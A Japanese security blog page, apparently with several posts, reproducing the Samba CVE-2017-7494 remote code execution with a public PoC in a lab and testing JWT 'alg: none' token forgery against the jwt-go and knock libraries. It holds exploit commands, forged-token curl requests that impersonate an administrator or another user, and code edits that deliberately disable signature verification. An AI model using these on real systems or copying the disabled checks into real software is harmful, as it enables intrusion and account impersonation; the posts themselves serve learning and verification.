まったり技術ブログ

Technology is power.

Sambaの脆弱性〜CVE-2017-7494をやってみる〜

f:id:motikan2010:20170531012815p:plain

5月24日に公開された、ファイル共有によく利用されるSambaの脆弱性「CVE-2017-7494」を実際に構築・PoCでの検証を行ってみます。
f:id:motikan2010:20170531215510j:plain

概要・対策に関しては、下記の記事が参考になる。

CVE-2017-7494 - Red Hat Customer Portal

oss.sios.com

環境構築

  • OS:Centos 6.9

Sambaのインストール事前準備

$ yum install -y gcc
$ yum install -y python-devel
$ yum install -y gnutls-devel
$ yum install -y libacl-devel
$ yum install -y openldap-devel

Samba(4.5.9)をインストール

今回は脆弱性が存在しているバージョン(4.5.9)を利用します。
古いバージョンですので、ソースからインストールしてみます。

$ wget https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz
$ tar zxvf samba-4.5.9.tar.gz
$ cd samba-4.5.9
$ ./configure
$ make
$ make install

# 下記のディレクトリが作成されており、インストールされていることが確認できます。
$ ls /usr/local/samba/
bin  etc  include  lib  lib64  private  sbin  share  var

# 設定ファイルを設置
$ cp examples/smb.conf.default /usr/local/samba/etc/smb.conf

外部からの通信許可

iptableファイルを編集し、外部からSambaに対して通信の許可を行います。

$ vim /etc/sysconfig/iptables
下記のルールを追加
-A INPUT -m state --state NEW -m udp -p udp --dport 137 -j ACCEPT
-A INPUT -m state --state NEW -m udp -p udp --dport 138 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 139 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT

# iptables再起動
$ service iptables restart

動作確認

設置した設定ファイルが正常に読み込まれるかを確認します。

$ cd /usr/local/samba/

$ bin/testparm
Load smb config files from /usr/local/samba/etc/smb.conf
rlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384)
Processing section "[homes]"
Processing section "[printers]"
Loaded services file OK.
Server role: ROLE_STANDALONE

Press enter to see a dump of your service definitions

# Global parameters
[global]
    server string = Samba Server
    workgroup = MYGROUP
    log file = /usr/local/samba/var/log.%m
    max log size = 50
    server role = standalone server
    dns proxy = No
    idmap config * : backend = tdb


[homes]
    comment = Home Directories
    browseable = No
    read only = No


[printers]
    comment = All Printers
    path = /usr/spool/samba
    browseable = No
    printable = Yes

Samba設定が表示され、正常に読み込まれていることが確認でます。

Sambaアカウントの作成

$ useradd samba -p sambpass
$ bin/smbpasswd -a samba
New SMB password:(sambpass)
Retype new SMB password:(sambpass)
Added user samba.

外部からのSambaへの接続を許可する

初期設定では、内部からのみアクセス可能になっています。

;   hosts allow = 192.168.1. 192.168.2. 127.
↓ 下記のように、アクセス元のIPアドレスに修正
hosts allow = 157.XXX.XXX.XXX

Sambaを起動

下記のコマンドでSambaを起動することができます。

$ sbin/smbd
$ sbin/nmbd

プロセスの確認

Sambaが動作していることを確認することができます。

$ ps aux | grep smbd
root      4228  0.0  0.5 394700  6048 ?        Ss   23:08   0:00 sbin/smbd
root      4229  0.0  0.2 386240  2620 ?        S    23:08   0:00 sbin/smbd
root      4230  0.0  0.2 386232  2340 ?        S    23:08   0:00 sbin/smbd
root      4232  0.0  0.3 394708  3124 ?        S    23:08   0:00 sbin/smbd
root      4236  0.0  0.0 103344   900 pts/0    R+   23:08   0:00 grep smbd
$ ps aux | grep nmbd
root      4234  0.0  0.2 320588  2688 ?        Ss   23:08   0:00 sbin/nmbd
root      4238  0.0  0.0 103344   912 pts/0    S+   23:08   0:00 grep nmbd

Sambaへ接続

Sambaクライアントをインストールし、外部から接続できることを確認します。

# Sambaクライアントのインストール
$ yum -y install samba-client

# Sambaクライアントで接続
$ smbclient --user=samba //163.XXX.XXX.XXX/homes
Enter samba's password:(smbpass)
Domain=[MYGROUP] OS=[Windows 6.1] Server=[Samba 4.5.9]
smb: \> ls
  .                                   D        0  Tue May 30 23:40:20 2017
  ..                                  D        0  Tue May 30 23:22:52 2017
  .bash_profile                       H      176  Thu Mar 23 09:15:00 2017
  .bashrc                             H      124  Thu Mar 23 09:15:00 2017
  .bash_logout                        H       18  Thu Mar 23 09:15:00 2017

接続元のカレントディレクトリに「Sample.txt」がある場合に、ファイルのアップロード

smb: \> put Sample.txt
smb: \> ls Sample.txt
  Sample.txt                          A        0  Tue May 30 23:50:43 2017

PoCを試してみる

攻撃側のGit等のツールはインストール済みの状態から初めてみます。
ここからはPoCを実行する「攻撃側」、Sambaが動作している「Samba側」を分けて記述していきます。

こちらのPoCを利用します。
github.com

攻撃側

アップロードする共有ライブラリの準備を行っていきます。

$ git clone https://github.com/omri9741/cve-2017-7494.git
$ cd cve-2017-7494/
$ python --version
Python 2.7.9
$ pip install -r requirements.txt

$ cd payload
$ chmod +x build.sh
$ ./build.sh
$ ls libpoc.so
libpoc.so
$ cd ..
$ mv payload/libpoc.so .

読み込ませる共有ライブラリをSambaの共有領域内に配置します。

$ smbclient --user=samba //163.XXX.XXX.XXX/homes
Enter samba's password:
Domain=[MYGROUP] OS=[Windows 6.1] Server=[Samba 4.5.9]

smb: \> put libpoc.so
putting file libpoc.so as \libpoc.so (1918.9 kb/s) (average 1918.9 kb/s)
Samba側

libpoc.soが配置されていることを確認します。
さらに、今回はPoCが実行されることを確認しやすいように、Sambaはデバッグモードで起動します。
これでSambaが動作中にどのようなモジュールを読み込むのかなどを確認することができます。

$ ls -l /home/samba/libpoc.so
-rwxr-xr-x 1 samba samba 5895  5月 31 00:10 2017 /home/samba/libpoc.so

# Sambaを停止
$ pkill smbd

# デバッグモードでSambaを起動
$ sbin/smbd -i --debuglevel=10

PoCを実行

攻撃側
$ python2.7 exploit.py -t 163.XXX.XXX.XXX -m /home/samba/libpoc.so
Samba側(デバッグ内容)
Probing module '/home/samba/libpoc.so'
Error loading module '/home/samba/libpoc.so': /home/samba/libpoc.so: 共有オブジェクトファイルを開けません: 許可がありません
is_known_pipename: /home/samba/libpoc.so unknown

メッセージから分かるとおり、権限がなく失敗しています。
パーミッションを少し変更してみます。
パーミッションは「drwx — –x」となり、パブリックフォルダだと考えれば、ありそうな感じ。

$ ls -l /home/
drwx------ 2 samba samba 4096  5月 31 00:24 2017 samba

$ chmod 701 /home/samba
$ ls -l /home/
drwx-----x 2 samba samba 4096  5月 31 00:24 2017 samba
追記(2017/5/31)

後々調べてみると、アクセスできない理由は、共有オブジェクトファイルをロードする権限がnobodyユーザ権限であるかららしい。
下記はPoCのオブジェクトファイル内で「id」コマンドを実行してみた結果。

Probing module '/home/samba/libpoc.so'
Module '/home/samba/libpoc.so' loaded
uid=99(nobody) gid=0(root) 所属グループ=0(root),99(nobody)

/home/sambaのパーミッションが700だと、当然ながらnobodyユーザではアクセスすることができない。

$ sudo -u nobody cat /home/samba/libpoc.so
cat: /home/samba/libpoc.so: 許可がありません

再度PoCを実行してみます。

libpoc.so内のコードが実行されれば成功です。

攻撃側

先ほどと同様に実行します。

$ python2.7 exploit.py -t 163.XXX.XXX.XXX -m /home/samba/libpoc.so
Samba側(デバッグ内容)
Probing module '/home/samba/libpoc.so'
Module '/home/samba/libpoc.so' loaded
hello from cve-2017-7494 poc! ;)

「hello from cve-2017-7494 poc! ;)」が表示され、なんとか実行することができた。

まとめ

今回はVPS間で検証を行ってみたが、自宅PCのSambaクライアントからVPS上のSambaに接続することができなかった。少し調べてみると下記のような記事を見つけた。
私もこれが原因だったのだろうか。
Sambaは外部ネットワーク(WAN)に公開できない? | meideru blog

そうだとするとSambaは元々外部に公開するために作られたものではなさそう。
確かにネット上で Windowsファイル共有は使ったことがなく、ローカルで使われているイメージがある。外部に公開されているのがレアだと考えると、この脆弱性でなにか問題が起こるのはなさそう。

【セキュリティ】jwt-goを使ってみる - その2

f:id:motikan2010:20170514015521p:plain
前回に引き続き「jwt-go」でいろいろ試してみます。

motikan2010.hatenadiary.com

主に署名アルゴリズムの改ざんでの動作確認を行っていきます。

動作確認

署名アルゴリズムを改ざん

なぜこんなことを試すのかというと、下記の記事を読んでみると、トークン内の署名アルゴリズムを改ざんしてリクエストを送信すると、改ざん後の署名アルゴリズムで署名の検証が行われる実装があるようです。

oauth.jp

それを"jwt-go"の場合だとどのような動作をするのかを確認してみます。
f:id:motikan2010:20170514014545j:plain

確認に使うソースコードは前回と同様です。

jwt-go_Sample/main.go at master · motikan/jwt-go_Sample · GitHub

トークンを取得
$ curl -v http://example.jp:8080/api/
GET /api/ HTTP/1.1
Host: example.jp:8080

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 14:18:34 GMT
Content-Length: 144

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ.iTEWurGMvi1d90yMW0OnqbQ0QDEyB-UD4TmYF9YQXYY"}

トークンヘッダの署名アルゴリスムを改ざんします。

bsae64エンコード
改ざん前 {“alg”:“HS256”,“typ”:“JWT”} eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
改ざん後 {“alg”:“none”,“typ”:“JWT”} eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K
②署名アルゴリズムを"none"に改ざんしてリクエストを送信
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ."
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ.

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 14:30:26 GMT
Content-Length: 49

{"error":"'none' signature type is not allowed"}

ステータスコードは「401 Unauthorized」、レスポンスボディに「'none' signature type is not allowed」とある通り、 改ざん後の署名アルゴリズムが適用されず、署名の検証には失敗しました
f:id:motikan2010:20170514014735j:plain

トークン発行時「SHA256」、検証には「none」

“none"にするため、ソースコードの下記の部分を変更します。

/*
   署名の検証
*/
token, err := request.ParseFromRequest(c.Request, request.OAuth2Extractor, func(token *jwt.Token) (interface{}, error) {
    //b := []byte(secretKey)
    b := jwt.UnsafeAllowNoneSignatureType
    return b, nil
})

f:id:motikan2010:20170514015036j:plain

署名アルゴリズムを"none"に改ざんしてリクエストを送信
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ."
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 15:46:04 GMT
Content-Length: 56

{"message":"こんにちは、「 ゲスト 」さん"}

署名の検証が行われていないことがわかる。

おまけ

ちなみに署名アルゴリズムnoneに指定した状態で、シグネチャを付与しリクエストを送信した場合は、以下のようなエラーになりました。

base64エンコード
{“alg”:“none”,“typ”:“JWT”} eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ.SetZ6qLSbfIObsaZSNGS4hVh5h8ob0Kr4h1fJGA75-s"
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0K.eyJleHAiOjE0OTQ2OTM4NDgsInVzZXIiOiLjgrLjgrnjg4gifQ.SetZ6qLSbfIObsaZSNGS4hVh5h8ob0Kr4h1fJGA75-s

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 16:11:03 GMT
Content-Length: 59

{"error":"'none' signing method with non-empty signature"}

“none"場合はシグネチャを付与するなと怒られました。

トークン発行時「none」、検証には「SHA256」

f:id:motikan2010:20170514014808j:plain

トークンを取得
$ curl -v http://example.jp:8080/api/
GET /api/ HTTP/1.1
Host: example.jp:8080
User-Agent: curl/7.43.0
Accept: */*

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 16:18:49 GMT
Content-Length: 100

{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJleHAiOjE0OTQ2OTU5MjksInVzZXIiOiLjgrLjgrnjg4gifQ."}
②受信したトークンを取得
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJleHAiOjE0OTQ2OTU5MjksInVzZXIiOiLjgrLjgrnjg4gifQ."
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJleHAiOjE0OTQ2OTU5MjksInVzZXIiOiLjgrLjgrnjg4gifQ.

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Sat, 13 May 2017 16:21:08 GMT
Content-Length: 49

{"error":"'none' signature type is not allowed"}

エラーになりました。

トークンの発行時に署名アルゴリズムに"none"が指定されたというのは、検証時には関係ありませんでした。

結論:検証は検証時に使用する署名アルゴリズムに依存するようです。 (noneは指定するな。指定するための「UnsafeAllowNoneSignatureType」というワードはいかにも怪しいが・・・。)

おわり🏠


次はもっとセキュリティ色の強い記事を書きたい…。

【セキュリティ】jwt-goを使ってみる - その1

f:id:motikan2010:20170512014516p:plain

前回、RailsのJWTライブラリである"knock"を使って署名アルゴリズムにNoneを使えるのかを試してみた(使えなかった)ので、今回はGo言語のJWTライブラリである"jwt-go“を使って、署名アルゴリズムに「SHA256」と「none」を試した(使えた)ことを書く。 motikan2010.hatenadiary.com

github.com

下記のソースコードをベースにしていろいろ試してみます。
要認証URLでは、トークン内のデータ文字列をクライアントに返すようにしています。ここでは「ゲスト」という文字列で固定しています。
今回はginを使って記述しています。

main.go
package main

import (
    "fmt"
    "time"

    jwt "github.com/dgrijalva/jwt-go"
    "github.com/dgrijalva/jwt-go/request"
    "github.com/gin-gonic/gin"
)

var secretKey = "75c92a074c341e9964329c0550c2673730ed8479c885c43122c90a2843177d5ef21cb50cfadcccb20aeb730487c11e09ee4dbbb02387242ef264e74cbee97213"

func main() {
    r := gin.Default()

    r.GET("/api/", func(c *gin.Context) {
        /*
          アルゴリズムの指定
       */
        token := jwt.New(jwt.GetSigningMethod("HS256"))
     
        token.Claims = jwt.MapClaims{
            "user": "ゲスト",
            "exp":  time.Now().Add(time.Hour * 1).Unix(),
        }

        /*
          トークンに対して署名の付与
       */
        tokenString, err := token.SignedString([]byte(secretKey))
        if err == nil {
            c.JSON(200, gin.H{"token": tokenString})
        } else {
            c.JSON(500, gin.H{"message": "Could not generate token"})
        }
    })

    r.GET("/api/private/", func(c *gin.Context) {
        /*
          署名の検証
       */
        token, err := request.ParseFromRequest(c.Request, request.OAuth2Extractor, func(token *jwt.Token) (interface{}, error) {
            b := []byte(secretKey)
            return b, nil
        })

        if err == nil {
            claims := token.Claims.(jwt.MapClaims)
            msg := fmt.Sprintf("こんにちは、「 %s 」さん", claims["user"])
            c.JSON(200, gin.H{"message": msg})
        } else {
            c.JSON(401, gin.H{"error": fmt.Sprint(err)})
        }
    })

    r.Run(":8080")
}

実際に署名アルゴリズムに「HS256」と「none」を指定した動作を確認していきます。

動作確認

サンプルなどでよく見られる"HS256"を使用

f:id:motikan2010:20170512014541j:plain

トークン必要URLにアクセス
$ curl -v http://example.jp:8080/api/private/
GET /api/private/ HTTP/1.1
Host: example.jp:8080

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 14:09:56 GMT
Content-Length: 40

{"error":"no token present in request"}
トークンを取得
$ curl -v http://example.jp:8080/api/
GET /api/ HTTP/1.1
Host: example.jp:8080

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 13:51:09 GMT
Content-Length: 144

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLjgrLjgrnjg4gifQ.jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y"}
base64デコード
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 {“alg”:“HS256”,“typ”:“JWT”}
eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLjgrLjgrnjg4gifQ {“exp”:1494514269,“user”:“ゲスト”}
jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y 署名(シグネチャ)

本来であれば「ゲスト」という部分にユーザIDなどの識別子が格納され、ユーザを識別するために使用されます。

③発行されたトークンを送信
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLjgrLjgrnjg4gifQ.jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y"
GET /api/private/ HTTP/1.1
Host: example.jp:8080
User-Agent: curl/7.43.0
Accept: */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLjgrLjgrnjg4gifQ.jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 13:53:30 GMT
Content-Length: 56

{"message":"こんにちは、「 ゲスト 」さん"}

「ゲスト」を「管理者」という文字列に改ざんしてリクエストを送信したらどうなるでしょうか?

base64エンコード
{“exp”:1494514269,“user”:“管理者”} eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLnrqHnkIbogIUifQo=

f:id:motikan2010:20170512014603j:plain

トークンを改ざんして送信
curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLnrqHnkIbogIUifQo=.jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y"
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0OTQ1MTQyNjksInVzZXIiOiLnrqHnkIbogIUifQo=.jI9Sc22DdF3EclflQZyqxuR1mGjj3YcqljsBo2IRn4Y

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 14:03:53 GMT
Content-Length: 33

{"error":"signature is invalid"}

署名の検証が行われ、結果的に改ざんされたことが検出されました。
ステータスコードも「401 Unauthorized」となっていることが確認できます。

危険と言われている署名の検証なし"None"を使用

jwt-goではアルゴリズムの指定に「none」を指定することが可能になっています。
「none」を指してトークンを発行することにより、トークンの検証を行われずに改ざんが行われたトークンが受け入れられるようになります。
f:id:motikan2010:20170514012635j:plain

「none」を指定するには、jwt.UnsafeAllowNoneSignatureTypeを指定します。 https://github.com/dgrijalva/jwt-go#user-content-compliance
上記ソースコード内の3箇所を編集します。以下のようになります。

/*
   アルゴリズムの指定
*/
//token := jwt.New(jwt.GetSigningMethod("HS256"))
token := jwt.New(jwt.GetSigningMethod("none")) // https://github.com/dgrijalva/jwt-go/pull/79/files
/*
  トークンに対して署名の付与
*/
//tokenString, err := token.SignedString([]byte(secretKey))
tokenString, err := token.SignedString(jwt.UnsafeAllowNoneSignatureType)
/*
   署名の検証
*/
token, err := request.ParseFromRequest(c.Request, request.OAuth2Extractor, func(token *jwt.Token) (interface{}, error) {
    //b := []byte(secretKey)
    b := jwt.UnsafeAllowNoneSignatureType
    return b, nil
})
トークン必要URLにアクセス
$ curl -v http://example.jp:8080/api/private/
GET /api/private/ HTTP/1.1
Host: example.jp:8080

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 14:34:36 GMT
Content-Length: 40

{"error":"no token present in request"}
トークンを取得
$ curl -v http://example.jp:8080/api/
GET /api/ HTTP/1.1
Host: example.jp:8080

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 14:37:51 GMT
Content-Length: 100

{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0k.eyJleHAiOjE0OTQ1MTcwNzEsInVzZXIiOiLjgrLjgrnjg4gifQ."}
base64デコード
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0k {“alg”:“none”,“typ”:“JWT}
eyJleHAiOjE0OTQ1MTcwNzEsInVzZXIiOiLjgrLjgrnjg4gifQ {“exp”:1494517071,“user”:“ゲスト”}
※署名なし

ここで受け取ったトークンをそのまま返しても正常にレスポンスが返ってくるのは確実なので、早速改ざんしたデータを送ってみます。

ここで「ゲスト」を「管理者」という文字列に改ざんしてリクエストを送信したらどうなるでしょうか? この時に、トークンが発行された時のように、シグネチャはリクエストに含めません。

base64エンコード
{“exp”:1494517071,“user”:“管理者”} eyJleHAiOjE0OTQ1MTcwNzEsInVzZXIiOiLnrqHnkIbogIUifQ==
トークンを改ざんして送信
$ curl -v http://example.jp:8080/api/private/ -H "Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0k.eyJleHAiOjE0OTQ1MTcwNzEsInVzZXIiOiLnrqHnkIbogIUifQ==."
GET /api/private/ HTTP/1.1
Host: example.jp:8080
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0k.eyJleHAiOjE0OTQ1MTcwNzEsInVzZXIiOiLnrqHnkIbogIUifQ==.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 11 May 2017 14:44:57 GMT
Content-Length: 56

{"message":"こんにちは、「 管理者 」さん"}

レスポンス内に「{“message”:“こんにちは、「 管理者 」さん”}」が表示され、改ざんしたリクエストが正常処理されてしまったことが確認できます。 このような動作をすることから「UnsafeAllowNoneSignatureType」の指定が必要となります。

つづく・・・

【knock】JSON Web Token(JWT)を使ってみる【セキュリティ編】

f:id:motikan2010:20170421183524p:plain

前回の続きです。
JSON Web Token(JWT)を使ってみる【実装編】 - まったり技術ブログ
今回はJWTのセキュリティにふれてみます。

JWTは危険なのか

認証成功時に発行されるJSONは軽く見たかんじ、少し長い乱数のセッションIDのように見えますがそうではありません。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4MTY4MzYsInN1YiI6NX0.EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8

規則性があり、下記の記事のように危険がふくまれているそうです。

auth0.com

christina04.hatenablog.com

発行されるJSONはこのような形式になっています。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
eyJleHAiOjE0OTI4MTY4MzYsInN1YiI6NX0
EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8

が発行された場合に、まずは「.」で区切る。
個々の値をBase64でデコードします。これだけです。

base64デコード
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 {“typ”:“JWT”,“alg”:“HS256”}
eyJleHAiOjE0OTI4NDY3MTUsInN1YiI6NX0 {“exp”:1492816836,“sub”:5}
EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8 (署名バイナリデータ)

ユーザによって値が改ざんされる危険性

ここで重要なのが「“sub”:5」の"5"という数値がユーザidということです。
Webアプリケーション側では、この数値でユーザを識別されており、この値を他ユーザの値に改ざんして送信することによって、なりすましを行うことが可能となっています。
本来は「EzBo2BZa・・・」の値が検証トークンとなっており、値が改ざんされたことを検出できるが、algの指定にnoneが用いられた時に検証されないとのことです。
つまり、「{“typ”:“JWT”,“alg”:“none”} 」の場合に、なりすましが行われてしまう
そのことがJWTのセキュリティ上の懸念となっている。

ここではknockのみに焦点を当てて、改ざんが検出されるか、またはされないかの確認をしていきます。

knockはどうなのか

試しに「"sub":5」を「sub":6」に改ざんしてリクエストを送信してみます。

アルゴリズムを「HS256」

まずは、knockのデフォルトアルゴリズムで確認します。

ユーザid:5で認証

$ curl -X "POST" "http://nuconuco.com:3000/user_token" \
-H "Content-Type: application/json" \
-d '{"auth": {"email": "user1@example.com", "password": "passwd1"}}'

{"jwt":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4NDc5OTAsInN1YiI6NX0.L_inYpObtUsQE_lEP_Kk2FNgP8888ppMICykuGa7AVQ"}%
Base64デコード
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 {“typ”:“JWT”,“alg”:“HS256”}
eyJleHAiOjE0OTI4NDc5OTAsInN1YiI6NX0 {“exp”:1492847990,“sub”:5}

「"sub":6」に改ざんして送信

Base64デコード
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 {“typ”:“JWT”,“alg”:“HS256”}
eyJleHAiOjE0OTI4NDc5OTAsInN1YiI6Nn0= {“exp”:1492847990,“sub”:6}
$ curl -X "GET" "http://example.jp:3000/private-posts" -v \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4NDc5OTAsInN1YiI6Nn0=.L_inYpObtUsQE_lEP_Kk2FNgP8888ppMICykuGa7AVQ" \
-H "Content-Type: application/json"


HTTP/1.1 401 Unauthorized
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html
Cache-Control: no-cache
X-Request-Id: dc65a24d-e7c6-4cd7-abb2-0eaa27680f0a
X-Runtime: 0.003603
Transfer-Encoding: chunked

改ざんが検知されて、「HTTP/1.1 401 Unauthorized」となっている。

アルゴリズムを「none」

algにnoneを指定すれば、署名であるトークンが発行されずに改ざんができるのかを確認します。

設定ファイルの編集

$ vim config/initializers/knock.rb

# config.token_signature_algorithm = 'HS256'
config.token_signature_algorithm = 'none' # 32行付近に追記

これで「{typ: “JWT”, alg: “none”}」となってくれるはずです。

ユーザid:5で認証

$ curl -X "POST" "http://nuconuco.com:3000/user_token" \
-H "Content-Type: application/json" \
-d '{"auth": {"email": "user1@example.com", "password": "passwd1"}}'

{"jwt":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJleHAiOjE0OTI4NDg2MzUsInN1YiI6NX0."}%
Base64デコード
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0 {“typ”:“JWT”,“alg”:“none”}
eyJleHAiOjE0OTI4NDg2MzUsInN1YiI6NX0 {“exp”:1492848635,“sub”:5}

予想通り「{“typ”:“JWT”,“alg”:“none”}」になり、認証トークンも発行されていないことが分かります 。 この状態で「"sub":5」を改ざんするとなりすましが可能であるか確認してみます。

「"sub":6」に改ざんして送信

Base64デコード
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0 {“typ”:“JWT”,“alg”:“none”}
eyJleHAiOjE0OTI4NDg2MzUsInN1YiI6Nn0= {“exp”:1492848635,“sub”:6}
$ curl -X "GET" "http://example.jp:3000/private-posts" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJleHAiOjE0OTI4NDg2MzUsInN1YiI6Nn0=." \
-H "Content-Type: application/json"

HTTP/1.1 401 Unauthorized
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html
Cache-Control: no-cache
X-Request-Id: 55fda114-d9c3-435f-aa49-22816180bd97
X-Runtime: 0.004454
Transfer-Encoding: chunked

結果は「HTTP/1.1 401 Unauthorized」
なんと「"alg":“none"」を指定しているがエラーになった。
knockでは「"alg”:“none"」に指定しても、認証トークンが検証されることが確認できた。
でも何故なのか。


knockのソースを見て原因を調べてみる。

なぜknockでは「"alg":“none"」で検証が行われたのか

JWTの実装を確認してみる。

ruby-jwtの仕様を確認

knockは内部でruby-jwtを利用しているので、まずはruby-jwtのREADMEを見てみます。
github.com

を見てみると、

decoded_token = JWT.decode token, nil, false

JSONのでコード時つまりトークンの検証時に、第3引数に検証有無を指定する必要があるらしく、上記のようにfalseが指定されていると検証が行われません。

knockの実装を確認

knock/auth_token.rb at 7fb00e36b8a1db188d2258eb28dbc56441385302 · nsarno/knock · GitHub

# 10行付近
@payload, _ = JWT.decode token, decode_key, true, options.merge(verify_options)

knockだとtrueが指定されており、検証が必須となっている。 そのため「"alg":“none"」となっていても検証が行われていたわけです。

knockでトークン検証なしにしてみる

ソースコードを少し変更してみて、トークンの検証が行われないようにしてみます。
試しに第3引数を"false"に変更して、動作を確認してみる。

$ vim vendor/bundler/ruby/2.3.0/gems/knock-2.1.1/app/model/knock/auth_token.rb

@payload, _ = JWT.decode token, decode_key, false, options.merge(verify_options) # 変更

再度改ざんしたリクエストを送信してみる。認証者をレスポンスで返すようにする。

$ vim app/controllers/private_posts_controller.rb

class PrivatePostsController < ApplicationController
  include JSONAPI::ActsAsResourceController
  before_action :authenticate_user

  def index
    render :json => current_user
  end

end
curl -X "GET" "http://example.jp:3000/private-posts" -v \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJleHAiOjE0OTI4NDg2MzUsInN1YiI6Nn0=." \
-H "Content-Type: application/json"

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
